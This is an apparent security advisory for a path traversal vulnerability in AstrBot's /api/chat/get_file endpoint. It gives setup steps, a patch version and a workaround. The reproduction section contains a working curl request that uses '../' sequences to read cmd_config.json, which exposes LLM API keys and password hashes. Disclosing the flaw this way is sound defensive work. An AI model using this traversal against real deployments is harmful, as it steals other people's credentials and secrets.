AstrBot Has Path Traversal Vulnerability in /api/chat/get_file

Overview

Impact

This vulnerability may lead to:

• Information disclosure, such as API keys for LLM providers, account passwords, and other sensitive data.

Reproduce

Follow these steps to set up a test environment for reproducing the vulnerability:

1. Install dependencies and clone the repository:

   pip install uv
   git clone https://github.com/AstrBotDevs/AstrBot && cd AstrBot
   uv run main.py
   

2. Alternatively, deploy the program via pip:

   mkdir astrbot && cd astrbot
   uvx astrbot init
   uvx astrbot run
   

3. In another terminal, run the following command to exploit the vulnerability:

   curl -L http://0.0.0.0:6185/api/chat/get_file?filename=../../../data/cmd_config.json
   

This request will read the cmd_config.json config file, leading to the leakage of sensitive data such as LLM API keys, usernames, and password hashes (MD5).

Patches

The vulnerability has been addressed in Pull Request #1676 and is included in versions >= v3.5.13. All users are strongly encouraged to upgrade to v3.5.13 or later.

Workarounds

Users can edit the cmd_config.json file to disable the dashboard feature as a temporary workaround. However, it is strongly recommended to upgrade to version v3.5.13 or later as soon as possible to fully resolve this issue.
